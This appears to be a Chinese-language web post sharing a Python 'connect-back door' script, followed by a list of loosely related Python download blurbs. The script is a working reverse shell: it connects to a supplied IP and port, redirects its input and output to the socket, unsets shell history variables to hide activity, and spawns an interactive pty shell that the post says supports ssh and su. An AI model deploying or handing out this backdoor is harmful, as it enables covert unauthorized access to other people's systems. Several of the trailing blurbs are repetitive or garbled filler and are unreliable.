新写的一个,替代之前的perl版本的,可以直接返回ttyshell
返回的shell可以直接ssh,su等操作
#!/usr/bin/python
import sys
import os
import socket
import pty
shell = "/bin/sh"
def usage(programname):
print "ython connect-back door"
print "Usage: %s <conn_back_ip> <port>" % programname
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+]Connect OK."
except:
print "[-]Can't connect"
sys.exit(2)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
pty.spawn(shell)
s.close()
if __name__ == "__main__":
main()
分享到:
相关推荐
标题“merabet2016_python_door8x8_”暗示了这是一个与Python编程相关的项目,可能涉及到一个名为“door8x8”的特定模块或挑战。描述中的“gride kjjhggffdfdfdfdfdfdfdfdf”看起来像是无意义的字符序列,可能是一个...
Python Ring Door Bell是为Python 3.6+编写的库,将Ring.com设备公开为Python对象。 目前,Ring.com不提供官方API。 该项目的结果仅来自逆向工程。 文档: : 安装 # Installing from PyPi $ pip install ring_...
Python是一种广泛使用的高级编程语言,尤其在Web开发、数据分析、人工智能等领域有着广泛应用。对于初学者而言,选择合适的Python版本是入门的第一步。Python有两个主要的活跃版本:Python 2 和 Python 3。这两个...
在Ubuntu系统中,安装Python 3.9是一个常见的需求,特别是在新版本的Ubuntu如22.04 LTS中,预装的Python版本可能是3.10,这可能不满足某些开发者对特定Python版本的需求。本教程将详细讲解如何在Ubuntu 22.04上从源...
Python是一种广泛使用的高级编程语言,以其易读性、简洁性和丰富的库支持而闻名。Python 3.10.8是该语言的一个版本,专为64位Windows操作系统设计。这个安装包提供了在Windows上运行Python 3.10.8所需的所有组件,...
python 源码 三剑客“python编程从入门到实践、python极客编程、python编程快速上手”。python 源码 三剑客“python编程从入门到实践、python极客编程、python编程快速上手”python 源码 三剑客“python编程从...
首先,要实现C++调用Python,通常会用到Python的`Python.h`头文件,它是Python的C API,允许C/C++代码与Python解释器进行交互。但是,这种常规方法要求目标系统已经安装了Python环境。为了解决这个问题,项目可能...
python实现按键精灵工具合集python实现按键精灵工具合集python实现按键精灵工具合集python实现按键精灵工具合集python实现按键精灵工具合集python实现按键精灵工具合集python实现按键精灵工具合集python实现按键精灵...
Python基础入门知识教程 Python是一个功能强大且广泛应用的高级编程语言。了解Python的发展历史、优缺点、应用场景、数据类型转换、编写第一个Python程序、注释的引入、中文支持、输入变量、类型标示符、关键字、...
Python下载 Python下载
Python 3.9是Python编程语言的一个重要版本,它带来了许多新特性和改进,使得开发者在编写代码时能更加高效和便捷。这个压缩包文件包含了Python 3.9的安装资源,以及一个名为"安装步骤.jpg"的图片,很可能是为了帮助...
pythonpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txtpython.txt...
Python Excel数据分析 Python源码Python Excel数据分析 Python源码Python Excel数据分析 Python源码Python Excel数据分析 Python源码Python Excel数据分析 Python源码Python Excel数据分析 Python源码Python Excel...
Java到Python的转换工具,如标题“java2python”所示,是编程领域中的一种实用技术,旨在帮助开发者将已有的Java代码转换为Python语言。这种转换对于那些熟悉Java但希望进入Python生态系统,或者想要利用Python特定...
"Python Python Python Python Python"这个标题可能是在强调Python语言的重要性或者是在提示我们要深入探讨Python的相关知识。描述中的重复同样强调了Python在编程领域的主导地位。 在Python编程语言的核心概念中,...
Python是一种由荷兰人Guido van Rossum在1989年圣诞节期间开发的高级编程语言,因其创始人对Monty Python戏剧团体的喜爱而得名。Python的首个公开版本在1991年发布,并逐渐受到程序员的青睐。随着时间的推移,Python...
Python聊天机器人,智能问答系统 Python聊天机器人,智能问答系统 Python聊天机器人,智能问答系统 Python聊天机器人,智能问答系统 Python聊天机器人,智能问答系统 Python聊天机器人,智能问答系统 Python...
python教程python教程python教程python教程python教程python教程python教程python教程python教程
《PythonForDelphi:在Delphi 7中无缝集成Python 3.7》 PythonForDelphi 是一个强大的工具,它允许开发人员在Embarcadero Delphi 7环境中使用Python语言进行编程,实现了Delphi与Python的深度交互。这个项目经过...